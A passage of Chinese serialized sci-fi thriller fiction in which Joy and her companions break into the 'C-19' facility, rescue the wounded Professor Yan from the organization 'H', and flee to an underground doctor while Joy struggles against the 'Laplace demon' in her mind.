顾子衿安抚地握住她冰凉的手：“别急，我不会放弃，他有可能还带着那只设备。先让我试着激活信号。”说罢，他当机立断打开手机连线某个特制程序，一串字符闪烁，但结果却显示“已断开”——要么通讯器被故意拆毁，要么信号遭强力屏蔽。顾子衿神色瞬间黯淡：“果然‘H’没有给我们机会。” 乔伊攥紧手指，气得浑身发抖：“难道就无计可施了吗？我们能从这里找到一点线索都好，哪怕只有只言片语……”她开始翻动床头柜、撕开打包盒、掀开地板下的暗格。终于，在灰尘和破败之中，她摸到一个扁平的笔记本，却只剩下一半——另半本不知所踪。扉页里夹着一张泛黄的旧照片，照片上看不清任何背景，只能隐约见到幼小孩童的身影，抱在谁的怀里。 她把照片拂去灰尘，心里猛地抽痛：那孩子，大概是自己？而抱着她的，是教授吗？模糊轮廓让她难以确认，可直觉近乎肯定。顾子衿凑上来时，她赶忙把照片藏在掌心：“先别问，我要留着它。” 林忻也及时翻到几张来不及被毁的记录残页，上面写满潦草注释：什么是“R-级超算权限”、“生物脑波配对”，还提及“C-19实验段”几个关键字。她急道：“看这个，教授似乎知道‘H’最近要启动某个大规模试验，地点在C-19实验段……就是说，他可能被带到那儿？” “C-19实验段？”乔伊重复这串代号，只觉耳熟却忆不起在何处听过。学姐从旁沉声道：“你别忘了，学院资料库里那些匿名文档，就提过这地方——算是‘H’早期做人体实验的另一片基地，离军工实验室不远……可对外宣称早就封锁荒废。” 顾子衿眼神燃起一丝希望：“既然我们在废弃军工实验室搞出大动作，‘H’恐怕要尽快利用教授挖出更多核心信息，以继续他们的量子进程。C-19……很可能就是关押教授的地方。” 乔伊捏了捏掌心的旧照，深吸一口气：“那就去C-19。我不管那里有多少危险，总不能丢下教授不管。而且——”她顿了顿，眼底浮现倔强与悲愤，“我还有很多话要亲口问他。当年跟我有关的一切，该是时候弄清楚。” 可她的话音刚落，脑海中就突然传来熟悉的、轻蔑的笑意：“要查真相？你不是已经见识到结局了吗——逃不出命运的计算。”那是拉普拉斯妖，沉寂片刻后又在她灵魂里翻腾，带着阴冷与嘲弄。乔伊隔着意识咬牙：“滚出去……这事跟你无关。”妖却慢悠悠地回应：“就算你抵触，我依旧存在。我们本就一体，你越愤怒，到头来只会为我滋养。” 乔伊紧闭双目，一瞬间天旋地转。顾子衿见她脸色发白，忙伸手扶住：“怎么了？又是头痛？”乔伊只好敷衍地点头：“没、没事，我们快走吧。” 他们匆忙收拾现场能用的零碎笔记、合上教授留下的半本笔记本，然后退回到旅社走廊。学姐皱眉轻唤：“外边可能还有‘H’探子盯梢。我们最好赶快转移到另一处安全屋，然后再计划??入C-19的细节。” 承影似的车灯再次亮起，四人再次钻入那辆破旧面包车里。刚启动车子，乔伊回头看了眼房门大开、空荡荡的过道，仿佛能映出严教授孤零零的背影。她在心里暗暗承诺：等我救回您，我一定要把所有恩怨说明白。 车子穿行在淅沥夜雨中，时针已缓缓逼近凌晨三点。一路上没人说笑，连林忻也只是单手敲着笔电，想从残留的宽带络端口里查找C-19的预备信息。那些零星数据大都过期，或者被加密隐藏，难以拼凑出全貌。 直到行驶半小时后，他们抵达一间废弃仓库模样的建筑。年轻时能干的学姐帮忙搞了不少隐秘据点，里面储备些基本生活用品。顾子衿简单检查周围无异常，便下令先在此稍作休整。林忻放下电脑，拢起风衣：“乔伊，你也该歇息一下了，刚才在旅社看你差点撑不住。” 乔伊正欲答应，脑海却再度浮现那道妖异啸音。她微微颤抖，想摆脱却发现自己难以抽离。她迟疑几秒后，开口对顾子衿道：“我……我想先自己一个人静一静，你们帮我看着点，不要让别人靠近。”顾子衿表情担忧，却终究点头：“好。有什么事就喊我们。” 她独自躲进堆满尘封纸箱的小角落。昏暗灯光撒下一片寂寞阴影，仿佛在等她独自面对内心的巨兽。她眉心紧皱，低声呵斥：“你究竟想怎样？对我纠缠不休。”拉普拉斯妖那空灵又森冷的声音似从虚空中直接钻入脑中：“是你啊，我可没逼你来找我。你越痛苦，我越兴奋。你就不想试试完全放手把身体交给我，或许，我们能更快破解教授的行踪呢。” “那样只会失控！我不要。”乔伊知道一旦彻底放纵妖，自己的人格意识或许就此湮灭。可那妖却阴测测地嗤笑：“失控？嘁，以你的人类情感，做不成真正的强者。想到救教授，却又害怕牺牲更多。你想活得纯粹，却又要肩负正义。有时候，你得承认大脑只是字符串中一道函数，终有被算尽的时候。” 冷汗沿乔伊的额角滑落，她死死抵抗那无形的精神撕扯。一番拉锯后，她才艰难缓过气。虽然此刻她并没有向妖屈服，但也无力抹消它的存在。她望着地面满积尘的破纸箱，满脑袋翻涌的问题：教授到底知道多少当年的秘密？“C-19实验段”里是否又是另一个大规模实验场？自己体质和妖的关系究竟能不能切断？ 少顷，她实在熬不住更深的头痛，猛然摇晃几下，倒在箱子旁。再度睁眼时，只见顾子衿急匆匆跑来，带着满面的慌张：“你怎么趴在这儿？”他把她扶起，声音里满是焦灼。乔伊强自镇定道：“我……还好，只是有点累。别怕。” 林忻也凑过来：“你这样下去不行。如果对抗妖太勉强，很有可能在关键时刻失控。所以，我们必须做两件事，一是找教授，二是弄清楚怎样对你身体进行干预。”乔伊无声地点头：“我知道，我绝不会退缩。” 短暂休整后，天色已浮现微光。学姐从仓库另一边赶来：“找到点线索：C-19实验段位于城市南边废弃轨道那边，曾有封锁，但我查到近期某处秘密电力供应——说明那里仍在运转。我们很可能得采取潜入行动。” 乔伊站起来，握紧拳头：“事不宜迟，就算再危险，我们也要去闯一闯。” 顾子衿和林忻当即拿出地图，详细规划方案：从旧铁路侵入，避开正门巡查岗，利用夜深人少的时刻潜入核心区搜索。学姐设法在外接应，并负责扰乱“H”的监控。计划看似周密，可谁都明白，若教授真的被关在里面，“H”一定会重兵把守。 无论如何，乔伊心里已经没有犹豫的空间。她拉链一拽，背上装着硬盘与数据带的包：“亏我当初还想安稳读书过日子，结果踏进这个战争漩涡才发现——某些命运来自过去，就算想逃也逃不掉。”高强度压力之下，她反倒生出一股孤注一掷的果敢。 深夜再度降临时，他们已换了另一辆低调的货车，借学姐的人脉弄到假冒废品回收证，穿过城郊阴暗的岔口，驶向C-19实验段所在的防护墙。夜色里偶尔有探照灯闪过，笼罩着重重铁丝网。那荒废的轨道旁长满疯长野草，风一吹，枯黄草穗翻尖沙沙作响。 学姐留守车里做远程通讯，乔伊、顾子衿、林忻三人便像多次实战般分头准备。林忻拎着便携电脑：“等我关掉红外监控，你们就抓紧时间翻进那道偏门。”乔伊脚踩湿漉漉地面，心脏频率在加快。她侧头看顾子衿，后者抿紧嘴唇却露出安抚眼神：“像以前那样彼此照顾，就没问题。” 林忻手指飞快敲打键盘，短暂电流滋滋声后，他冲乔伊做了个手势：“放大监控盲区的时间有限，快走！”乔伊和顾子衿猫着腰扑向铁丝网，攀爬翻过时，手心被拉扯得生疼，却顾不得这些。落地后，他们再次摸黑急行，依照地图指示前往C-19主建筑区后方的一处废弃仓库。那儿可能存在通往内部实验区的安全门。 路过一段残破回廊时，乔伊脚下忽然踢到条铁棍，引发“啪”的一声脆响，回声在空荡空间里四散。她心提到嗓子眼，赶忙屏住呼吸。幸好暂时没有守卫现身，顾子衿轻轻拉她继续前行。 终于，他们折返至一扇写着“C-19测试区·无授权禁入”的金属门，门锁上残留老旧的电子识别装置。乔伊深吸口气，从包里翻出在废弃军工实验室搜到的教授门禁卡，垂直插入卡槽，心里一阵紧张：能用吗？抑或已过期？ 低沉电流声传来，门锁竟咔地一声打开了。 出乎意料的顺利让她心中更添几分惴惴。门后黑暗的走廊里霉味萦绕，一股潮湿气息扑面而来。两侧是紧闭铁门，或许曾存放设备，也可能关押过实验对象。乔伊攥着手电筒往前摸索时，脑海霎时涌出一股寒意。她几乎能感到金属墙壁后回荡着无数冤魂呼喊。不祥的念头让她脊背发凉。 顾子衿轻声提醒：“前面拐角似乎有灯光。”乔伊凝神看去，果然有微弱光线从半敞门缝内透出，还有说话声隐隐传来。她咬住嘴唇，侧耳听了几句，辨不清内容，但能听到有人喊“抓紧人质”“加强监视”之类。她心头一震：莫非这里就关着教授？ 他们彼此对视短短一秒，彼此已经心照不宣：“先摸清楚里面布局再说。”然而还没等他们布置好探查方案，门缝里陡然闯出一个全副武装的保安模样男人，一抬头就对上乔伊的视线。他先是一愣，随即厉声吼出：“什么人！给我站住！” 没有退路可言。乔伊一咬牙，迅速挥手中的电击棒给了对方手臂一下，对方痛吼着武器掉落，却依旧试图反抗。顾子衿见状飞扑上前，一拳击倒那人。可那人的吼叫声惊动了更多守卫，大批脚步声在走廊另一边趋近而来。 形势严峻，顾子衿拉着乔伊就地寻找掩体。惊险关头，乔伊脑中再次响起拉普拉斯妖的低语：“看吧，这就是你想硬闯的下场。要不要……借我的力量更轻松地撕裂他们？”乔伊咬牙低声：“我不需要——”可子弹已呼啸飞来，她与顾子衿险险翻滚躲避，差点被击中。 年轻的心脏在剧烈撞击下迸发出求生欲，“妖”的诱惑在血液里翻滚。乔伊感到极度痛苦，但她清楚若不提高战斗力，他们可能全军覆没。她闭上眼睛一瞬，仿佛松开了对妖那层顽固的排斥，有意让它注入少许力量。忽然间，她的五感似被放大，那些子弹的呼啸轨迹在听觉中清晰，身体反应比以往更快。她一个翻身跃起，硬是在黑暗中躲过了两发子弹，同时冷静地朝顾子衿喊：“左边通道，快！” 顾子衿并不知道乔伊做了什么，只觉她动作快得惊人，也有些异样可怕。但现在生死攸关，没时间多想，两人一路狂奔，甩开追兵后钻进一条紧闭的侧走廊，砸开一道门冲了进去。身后枪声零碎响起，一个洪亮声音怒斥：“快封锁这里，别让他们跑了！”可见对方也在火急召集人手。 躲进屋内，乔伊浑身颤抖，妖的力量带给她强悍的感知与速度，可同时也让她呼吸紊乱，理智在与另一个意识碰撞，好似电光乱闪的神经短路。顾子衿扶着她，急切又心疼地低声：“你怎么突然……”他发现乔伊眼底隐约闪现一抹异样暗色，泛着诡异灰芒。乔伊只能用微弱声音说：“先别管……我控制得住。” 他们扫了眼这间房间的设备，发现在角落里竟然束缚着一个面容憔悴的灰发老人，他似衣衫褴褛，浑身脏乱。乔伊心脏猛地绷紧：“教授！是您吗？”对方抬起头来，却发现并不是严教授，只是一位被“H”囚禁的废弃实验对象。那人看见他们，眼里透出短暂震惊，而后一阵轻笑，声音沙哑：“你们也是来救人的？太晚了……他们抓了不少人，用于新的测试……咳咳……什么C-19计划。那个穿白衣的老头，据说身体不太好，已经被带到上面去。你们根本救不……咳咳……” 乔伊心里咯噔一下，连忙追问：“上面？你知道是哪儿吗？”那人指了指头顶：“电梯……上面……监控室……”语音未落，他就一阵抽搐，仿佛已经油尽灯枯。乔伊紧紧咬住唇，最后只能在心里让自己平复悲愤，把那束缚他的锁链弄断，随手留下一瓶水，然后蹒跚站起：“顾子衿，咱们快走。”她深知若再多耽搁，教授就有更大危险。 这时门外脚步声又再度逼近，显然“H”的增援已包抄过来。顾子衿跟乔伊互交换个眼神，明白只能硬闯。那电梯所在楼层应是C-19的核心区，也许正是困住教授之地。可是这样明目张胆往上去，能成功吗？ 乔伊胸口如同被钢铁压制，却仍旧抬眼坚定：“就算是龙潭虎穴，我也要进。教授还等着我们。”她脑中妖的冷笑声再一次回荡：“好啊，去看看命运的真相。”她却学会不再回嘴，而是把这股阴暗当作催动自己前行的燃料。 于是，黑暗通道中，他们再度杀出一条血路。子弹和光束不断交错，乔伊感觉到自己的身体渐渐被那股异样能量操控，险些几次想要大开杀戒，幸而顾子衿恰巧在她侧面呼喊，把她拉回人性层面的理智。她死死咬住唇，无论如何不让自己彻底坠入失控。 两人终于抵达那台老旧电梯前，门板刚刚开了一条缝。眼看追兵就要赶到，乔伊和顾子衿纵身挤进去，连忙拍电梯按钮，门板缓缓合拢。外头的呼喊和枪声渐渐被隔绝，只剩下电梯机械旋转的声响在耳边。“叮——”指示灯闪烁 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乔伊内心怒火冲天，一眼扫到教授的手臂血迹斑斑，那是重度擦伤还是枪伤？她分不清。只听见那黑衣人狞笑着：“把枪放下，乖乖束手就擒，否则我立刻毙了他。”他对乔伊的执念瞒不过顾子衿的目光，也隐约能感到“H”想要把乔伊抓回去做终级实验。 顾子衿迟疑地握住枪，乔伊也攥紧了电击棒，可对方人数占优且控制了严教授性命，一旦莽撞行动，后果不堪设想。哪知就在此刻，乔伊的脑海里突然再度腾起那股激荡的“妖”之力量。她甚至没有机会思考得失，就感觉灵魂深处某根绷线瞬间断裂。“啊——”她低声嘶喊，眼中似乎闪过可怖的灰蓝光泽。 黑衣人面露惊疑：“她怎么……？”他的话未说完，只见乔伊像离弦之箭般狂冲上去，电击棒划过一道难以捕捉的轨迹，黑衣人甚至没能扣下扳机就被击落在地。但乔伊急于救人，失了冷静，根本不顾左右几个持枪者的威胁。危急时分，顾子衿拼命扑上替乔伊挡下一枪，子弹险之又险擦过他肩膀。“嘭”的一声巨响，火花溅起，搞得视线一片灼白。 混乱中，乔伊几乎感受不到疼痛或害怕，她脑海只剩下一个念头：“救教授……”她像一头被逼到绝境的兽，瞬息爆发了不可思议的速度，先后击倒两个黑衣人，将他们的枪撞落在地。顾子衿带伤勉力牵制住第三个，歪歪扭扭地把对方摔翻。 乔伊踉跄着扑向地上的教授，可她脑中“妖”的狂暴还在节节攀升，一股刺痛的红光闪过她视觉，逼得她分不清真实与幻境。恍惚间，她似乎看见自己童年在水箱里苦苦挣扎，身上插满管线。咫尺之外，白发的严教授流露着复杂的慈悲，又像带着罪疚。她不知道那是真实画面还是幻像。现在，她只想唤醒对方：“教授……教授您听得到我吗？”她双手扶住教授孱弱的身体，后者微微动了动，如同昏厥半醒般喘着粗气。 就在她即将把教授往电梯方向拖动时，剩下几个黑衣人已端起枪，打算开火。千钧一发之际，林忻与学姐突然出现在走廊另一端，大声喊道：“一不做二不休了，动手！”只见学姐拎着一把简易催泪喷雾，朝那帮黑衣人猛地喷出。霎时间烟雾弥漫，对方口鼻呛得狂咳不已，枪口全乱了方向。林忻顺势扔出一个闪光弹，耀眼白光炸裂，引发短暂混乱。 顾子衿挣扎着捂住受伤肩头，忍痛和乔伊一起搀扶起教授。学姐拉着他们：“快撤，这里一旦有后续增援，我们全都得葬身！” 他们踉踉跄跄地往电梯走，可电梯门早已毁坏。情急之下，林忻硬是在另一侧找到了消防通道：“楼梯走起！”乔伊和顾子衿扶着教授往下狂奔，每一步都踩在战栗边缘，似乎稍有不慎就会被子弹追上。好不容易冲到一楼出口时，却发现外头也聚集了成群“H”守卫，火光闪烁不止。 形势近乎绝望。乔伊体内那股暴烈力量还没退散，她牙关紧咬，转头看顾子衿：“我带教授先走，你们在后面掩护。”她提不准自己能撑多久，但她必须撑住，否则大家都会倒在这里。顾子衿刚要反驳，却见乔伊眼中闪过那道可怕的灰芒，又想竭力阻拦，但时间不容许他们争执。只能咬牙道：“小心！” 便在此时，一声尖利警报划破长空，顶楼扬声器传出急迫通告：“保全部队紧急出动——实验对象失控——所有人速到西侧集合！”大的骚乱似从内部爆发，数道火舌在走廊另一边炸开，让“H”的守卫都慌作一团。仿佛老天替他们创造了混乱机会，学姐简直不敢相信这运气。她一声令下：“快冲！” 五个人踏着乱局绕到建筑外墙，从半塌的铁门翻滚出去。林忻火速用耳麦通知：“学姐，马上把车开到坐标点！”于是，破旧货车引擎轰响着冲破夜幕，在枪声四起的混沌之中载走他们，消失在弧形的旧铁路尽头。 一路狂飙停当后，天已近拂晓。货车停在一片破旧巷子里，四周是被废弃的砖瓦房。乔伊和顾子衿一起紧张地检查教授的伤势，发现他多处皮外伤，加上旧疾，情况危急。偏偏帐篷医疗箱里的药物有限。顾子衿咬唇道：“这种程度我们恐怕得找医院，可一旦实名就可能被‘H’追踪……”林忻沉吟：“或许能联系我的一位朋友，曾在战地医院工作，能私下帮忙。” 短暂商议后，大伙决定先在此安顿，一边让林忻去联络那位朋友，一边等待教授苏醒。乔伊坐在旧木箱上，看着教授昏迷不醒的面容，神色晦暗不明。她将那半本笔记本拿到手边，指尖摩挲着那张淡黄色旧照片。照片里，那抱着孩子的模糊人影，或许就是当年的教授，或许另有隐情。她记不起当初是谁给了她温暖，也说不清教授究竟在这场风暴里扮演怎样的角色——是施害者，亦或是救赎者？ 拉普拉斯妖沉默了很久，竟罕见地没有再跳出来嘲讽。它似乎也在思考某些“需要”乔伊和教授才能完成的深层计划。乔伊攥住那照片，感到前路迷雾重重：她表面上救出了教授，却并未真正摆脱命运的算计。“H”势力依旧庞大，量子主程序也未被彻底摧毁。他们此刻只不过是在激烈对抗中赢得一丝喘息。 她抬眼看向远方即将微亮的天空，雨后湿冷的清晨带着薄雾。一切显得安静，却隐含重重危机。或许，这只是一段新的序幕。教授苏醒后，会告诉他们怎样的惊人秘密？拉普拉斯妖会否趁机再次侵蚀她的理智？ 她没有答案，但她已无暇倒退。只剩一个坚定信念——不管真相多可怕，她决不让自己或身边的人再成为牺牲品。 就在她思绪翻滚之际，教授忽然发出一声轻微咳嗽，缓缓睁开眼睛，嘴唇哆嗦地吐出几个含混字：“J……乔伊……对不起……”没等他说完，就二度昏死过去。乔伊心里翻腾千种波澜：他要向我道歉什么？当年的事？还是这次被抓？千言万语堵在她喉头，却只能先含泪为他盖上简易毯子。 一旁顾子衿按住乔伊的肩，低声：“他会醒来的，到那时，你真正的答案或许会浮现。我们无论如何——都不会放弃。”乔伊终于轻轻点头，攥紧那张照片。泪水并未滑落，只在眼眶徘徊。 晨风拂过，一缕淡淡的光线透进陈旧车厢。林忻带来陌生医生的消息：“那位朋友愿意帮忙，不过我们得在天黑前赶去见他。”乔伊深呼吸，抬头望向远方还未完全露白的天空：“好，就在今晚。”一语落下，她仿佛在心中对自己重申：道路艰险，可只要还有一息尚存，她便要把这场命运之战继续打下去。 ——本章完—— 严教授的病情牵动众人神经，他口中欲言又止的秘密究竟是何？乔伊即将面对的，更是来自“H”高层的绝对追捕，或许还包括那日愈蠢动的拉普拉斯妖。当名为“量子终极演算”的全新计划日渐逼近，这一次他们还能全身而退吗？ 22.暗夜长河·梦醒时分 夜幕尚未退尽，遥远的穹顶只泄下微弱晨光，给破败小巷染上一层死灰般的冷色。乔伊抱着严教授一路奔行，仿佛害怕有任何迟疑会导致更大的不幸。身后紧跟着顾子衿与林忻，神色同样凝重。两天前，他们才历经C-19实验段那场惊心动魄的遭遇：火舌、枪声、毒雾与乱局交错一瞬，好不容易带着教授逃出生天。可目前教授状况并不乐观，伤口发炎，外加高烧退不下去，整个人命悬一线。 为了隐藏行踪，学姐暂时在另一个掩护点等候消息，与他们分头行动。乔伊等人只能凭借林忻的联系，找到城郊处一位老战地医生——他曾经在地下医疗组织活跃，如今隐姓埋名，只在废弃仓库里留有一处狭小行医之所。除此以外，他们别无选择：若去正规医院登记，势必被“H”盯上；若自我救治，则缺乏必要器械。乔伊抱紧教授，轻声道：“教授，您一定要撑住……若没有您，我们所有查到的线索就要断了。” 狂乱的风卷来满天尘埃，路旁的断墙上写着早年防空演习留下的标语，如今破损不堪，只剩几个模糊字母。乔伊脚步久久不停，一是出于对救命的急切，二则也是想借奔跑来麻痹心底那些复杂纠结的思绪。她曾用指尖轻轻碰过教授的脸颊，想用温度唤醒他，却发现他的脉搏若隐若现，仿佛奄奄一息。她曾恨过这个人，但当真正地将他视作唯一能够解开真相的希望时，又生出惶恐不安的保护欲。 远方破旧仓库的大门在吱呀声中敞开。那位战地医生五十来岁，头发灰白，虽满脸胡茬却目光凌厉。他看到众人，先是满怀警惕，见他们抬着一个伤重不醒的老人，才微颔首道：“放到那张台子上，我看看伤势。”众人一齐动作利落，将教授放置好。医生手指迅速摸到脉搏，皱紧眉头：“很危险。他原有慢性疾病，也有多处外伤感染，必须尽快做清创手术，我手头药物不够，还要准备输血装置……” 乔伊急道：“需要什么，我们去找。只要能救命，都可以。”她握着教授的手，心里忍不住慌乱。林忻当即打开笔电，快速联络熟识渠道：“麻醉药、消炎药、血浆……我想办法筹，但可能需要时间。”顾子衿则把仓库四处搜索了一遍，确保安全。他见乔伊对教授满怀担忧，轻声说：“会没事的，我们都在这里一起想办法。” 医生环顾一圈，忽然停住目光：“你，先松开他，你的手……”乔伊这才注意到，自己因为极度紧张，一直用力攥住教授的手腕，导致她的关节发白颤抖。而更惊人的是，她的指尖竟隐隐渗出血丝，像是无意识抓得太紧，好似要与教授融为一体。她尴尬地闭了闭眼，缓缓松手，才发现本能地想用身体温度去留住教授的生机。 顾子衿把乔伊扶到一旁，却见她面色苍白，一副疲惫不堪的模样：“你快休息一下，这两日你简直没合眼。”乔伊却耳中嗡鸣一阵，猛然记起脑海里还潜伏着那个可怖存在——拉普拉斯妖。只要她过度疲劳或情绪失控，妖就会趁虚而入，诱她释放更大的破坏力。想到这点，她反而咬唇坚持：“我不放心教授。你别劝了，我就待在这儿。” 医生重新消毒器具后，吩咐顾子衿与乔伊帮忙固定教授肢体。接着他取出那仅剩的一点麻药为教授注射，然后开始简单却凶险的清创手术。过程里，乔伊看见教授的血一点点染红纱布，她的心也在一点点下沉。若是再晚来一步，他或许就要在自己面前死去。可她浑身的力气根本无处宣泄，只能默默为他擦去额头冷汗，向他轻声呼唤。 手术持续了近一个小时，期间教授一度陷入呼吸衰竭，全靠医生的紧急心肺复苏才勉强稳住。最后，医生擦了把汗：“我能做的只有这么多了。等药和血浆运来，才能进一步处理。你们最好祈祷他能撑到那时候。” 乔伊一向自忖坚强，可此刻双腿几乎站不住，扶着铁架桌角才不至摔倒。顾子衿望着她恍惚神情，以为她会失控大哭，没想到她却只是长长吐出一口气，无声地落下泪珠。那泪落在地上，溅起细微滴声，却在她耳里宛如雷鸣。她想，也许这是她人生第一次对某个人有着难言的依赖感——即使那个人可能负有罪责。 与此同时，林忻拿着急救所需的清单冲出仓库，连夜去联络他的地下渠道。医生则留在这里，随时观察教授情况。顾子衿守在外头帮忙警戒，可凭直觉判断，C-19闯入后，“H”断不会善罢甘休，说不定很快就会带人追寻他们踪迹。此刻，他们犹如孤岛上守护一根烛火，短暂避开风暴，却不知下一秒狂潮何时到来。 乔伊只觉得脑子越来越乱。她想要坐下，却又迟迟放不开手脚，身体似被抽空一般。就在这时，耳中传来那熟悉的阴冷嘲弄——拉普拉斯妖轻飘飘地说：“你这么执着救他，难道就不怕真相让你失望？你已经尝过多少次人性的背叛？何苦呢。” 乔伊深知这仅是她精神世界的幻音，却仍被刺痛。她艰难回应：“你住口。我无论如何都要救他。”妖轻笑：“你根本无法知道，他若醒来，会不会把你再度扔回那些仪器下…你是他眼中的样本。”此番话就像一把尖刀，直指乔伊隐隐存在的恐惧。她发觉内心确实充斥对真相的惶恐：一个把她当实验对象的教授，为什么要在生死关头被自己拼命救护？可她无法坐视他的死去——也许这是仅存的一点良知，亦或是她期盼从教授那里得到一种迟来的救赎。 拉普拉斯妖像是看穿她的矛盾，不再多言，只发出一声狡黠的冷笑，那笑意回荡在乔伊脑中，好半天才渐渐散去。 手术结束后，教授带着氧气罩，微弱地呼吸着。医生示意乔伊过去：“你若真想帮他，不如跟我学习如何监测生命体征。”乔伊强作镇定，学着用听诊器与指脉仪替教授查看脉搏，一圈忙下来，她也有了点急救常识。但她心里更清楚：若再拖上多少日，等“H”收网或教授状况恶化，一切都将失去意义。 凌晨三点多，林忻带着药物与血浆终于赶回。医生忙不迭开始给教授输血、上药，整个过程持续到拂晓。乔伊彻夜不眠，顾子衿也困得眼圈泛青。到第二天中午，总算见到教授烧退了些。乔伊轻轻唤了好几声，他微微喘息着，好似有意识，却睁不开眼。一旁顾子衿欣慰地拍了拍乔伊肩：“还好，你别累坏自己。” 她浑身像散了架般，苦笑一下：“我会撑住。”她没有告诉任何人，脑海里那股诡异的阴暗力量似正蠢蠢欲动。昨夜维持理智已经耗尽她太多心力，她能感觉到拉普拉斯妖在她血管里翻腾，但还没到一发不可收拾的地步。也许是因为她对教授的担心占据了大部分神经，让她暂时抵御了妖的侵蚀。 休整片刻后，天色阴沉又下起淅沥细雨，仓库外冷风不断。医生示意乔伊可以与教授单独呆会儿，说不定能让他在半梦半醒间有更多反应。乔伊坐到临时床榻边，看着教授因高烧与虚弱而凹陷的面颊，不由自主想起那张旧照片上的身影：怀抱着年幼女孩的迷糊侧影，是教授吗？还是另一位神秘人物？她问不出口，更无法确认。她只是在心里一次次呼唤：“教授，醒来吧。告诉我真相。” 仿佛听见她内心的渴求，教授手指微微抽动。他缓缓睁开一些，却又立刻合上，好像某种痛苦令他难以保持清醒。乔伊心头又喜又急，轻轻扶住他肩膀：“教授，别怕。我是乔伊，我会保护你。求您告诉我，当年发生了什么……”然而教授只是发出模糊的呓语：“对……不起……我……”话未尽，他再次陷入昏迷，额头冷汗涔涔。 乔伊咬住下唇，差点落下眼泪。她心里说：您千万别出事，我们之间还没结束。过去虽有千丝万缕的纠葛，可一切尚未分清，是恨是救，都得等您亲口告诉我啊。 这一天她几乎守在教授床边寸步不离。顾子衿在旁不断劝她上药休息，因为她自己在C-19时也负了些暗伤。乔伊却固执地想着，一旦离开教授身边，便像失去了某种维系理智的锚点。她也注意到拉普拉斯妖始终安静，却安静得诡异，仿佛在酝酿更大的风暴。 临近傍晚时分，林忻收到远方学姐的联络：“我们在仓库附近发现可疑身影，可能是‘H’的眼线。你们最好尽快转移。”当此消息传来，所有人都心头一凛。顾子衿当机立断：“教授能走吗？”医生脸色铁青：“他才刚输血，根本不能大幅行动，除非想看他当场再崩溃一回。”乔伊攥紧拳：“那我们只能据守这里……或者，一边找机会突围，一边保护教授。” “据守很难，‘H’势力庞大，我们占不到便宜。”顾子衿低声说，“但我们也没时间把教授抛下再逃跑。乔伊，你怎想？”她忍着心底的慌乱，说：“不管怎样，我不会丢下教授。”她问向医生：“没有别的转运方式吗？担架、急救车什么都没有吗？”医生苦笑：“哪有那么专业的设备？更何况现在车辆通行必然被监控。”他们看着地上简陋的担架，谁也没有十足把握把教授安然送出。 林忻皱眉沉思。“也许可以试试用改装后的面包车……不过路途颠簸，一不小心就会加重教授病情。”乔伊和顾子衿对视一眼，最终还是咬牙：“拼了。我们不能坐以待毙。不如在夜色掩护下行动。学姐那边能否先帮我们转移，哪怕再远，我们都得试。” 多方商议后，决定半夜再行动，由医生、乔伊、顾子衿护着教授一起离开，林忻负责前往下一个藏匿地点打前站。他们简单收拾后，小心熄灯，尽量不制造任何动静。 夜半时分，大雨却不期而至，滴滴答答砸在仓库破顶上。在这单调雨声里，乔伊又一次拥着教授准备转移。他面色仍旧极度苍白，昏迷不醒，呼吸声脆弱得宛若风中残烛。乔伊怀疑，他的意识或许随时会飘散。她小心翼翼把教授扶上那辆喷满铁锈与油渍的破旧面包车，这一次，她不是被谁抱着，而是她用力将教授的身体牢牢固定在后排。 顾子衿坐驾驶座，医生则在副驾维持警戒。乔伊抱着教授坐后排，雨幕使得视线越发糟糕。不远处，林忻正朝他们打出安全手势，示意前方暂时没“H”的人手。顾子衿咬咬牙，发动车子，一阵低沉轰鸣声响动，车轮碾过泥泞缓缓驶离。乔伊一直紧盯教授，努力让自己心平气和，却还是不住颤抖。她害怕这颠簸的旅途会带走他的一线生机。 距离仓库不远的巷口，忽然出现两三束强光，定睛看去，是几辆黑色越野车驻停。附近似有巡逻守卫在搜索。顾子衿立即紧张起来，手心冒汗：“不好，果然‘H’就在附近。”医生悄声道：“去另一条小路，虽然绕远，但至少可以避开他们。” 面包车小心拐向一条狭窄暗巷。雨势越发猛烈，前挡风玻璃被打得“哒哒”直响，顾子衿聚精会神控制方向盘。乔伊则低头紧贴教授，听到他时而急促、时而微弱的呼吸声。她内心涌起复杂的悲凉：是谁把我们逼到这步田地？从军工实验室到C-19实验段，再到这处简陋仓库，为什么她的人生一直笼罩在黑夜的阴影中？ 她轻轻贴近教授耳侧：“教授……若您还能听见，请务必坚持下去。无论您曾在我身上做过怎样的试验，我都必须当面问个清楚。您也欠我一个解释。”她不知自己的声音是否能传入那混沌意识，却依然想这样诉说似的。拉普拉斯妖在她脑海里沉沉呼吸，没有再嘲笑，也不再说什么。似乎甚至对乔伊的情感流露感到些微寂静。 车行到巷尾，突见前方传来一阵噪音，像有人在大喊“站住！”紧接着，枪声划破漫天雨幕，子弹“噗噗”地扫过旁边墙体。乔伊心下一凛：“糟了，被发现了。”顾子衿猛打方向盘，车体猛地甩尾，震得乔伊差点撞上车顶，她赶忙护住教授。医生连声催促：“快，冲过去！再慢就被包围了！” “轰——”一声巨响，黑色越野车冲破雨幕，侧面高速冲来，险些撞上他们。顾子衿咬牙倒车，轮胎打滑发出刺耳声响，生死关头，他强行把车头扭回，堪堪避过撞击，然后猛踩油门，直冲向对面的小路。乔伊只觉得整辆车像在狭缝里飞驰，被雨水和黑暗吞没。她下意识抱紧教授的头部，让他免受剧烈晃动而加重伤势。那一刻，她甚至顾不上自己是否会受重创。 子弹继续在后方追击，打烂了车尾玻璃碎渣，寒风裹挟破片迎面刺来。乔伊耳朵一阵轰鸣，她怀疑自己是不是要命丧此处，可又不甘心就此结束。她定睛看向顾子衿的背影，知道他同样拼了命护着大家。若他们活不下去，教授也必将悲惨收场，而“H”的阴谋更将继续扩张，无人制止。 关键时刻，远处传来一阵突如其来的轰隆声，似有人在放置爆裂物。借着对方慌乱的一秒，面包车飞速拐进一条更阴暗的小巷，短短时间拉开距离。“可能是学姐在外边做了干扰。”乔伊心头闪过这个猜测，也不由得感激，学姐果然一如既往地稳妥及时。 车子一路颠簸，后方追兵的车灯被雨夜吞噬，最终似乎被挡住了去路。谁也不知道他们能逃多久，但至少，在这一刻，他们算是暂时挣脱死神桎梏。 雨势仍旧磅礴，街巷积水中倒映出扭曲的霓虹。顾子衿将车驶进一个尚有屋顶覆盖的老式停车库，找了个角落强行停下。医生第一时间查看教授：“呼吸紊乱，得马上输氧，药也要跟上。”乔伊用颤抖的手取出那包珍贵的医疗用品，却看见教授嘴唇发紫，眉心紧锁，似在忍受极大痛苦。 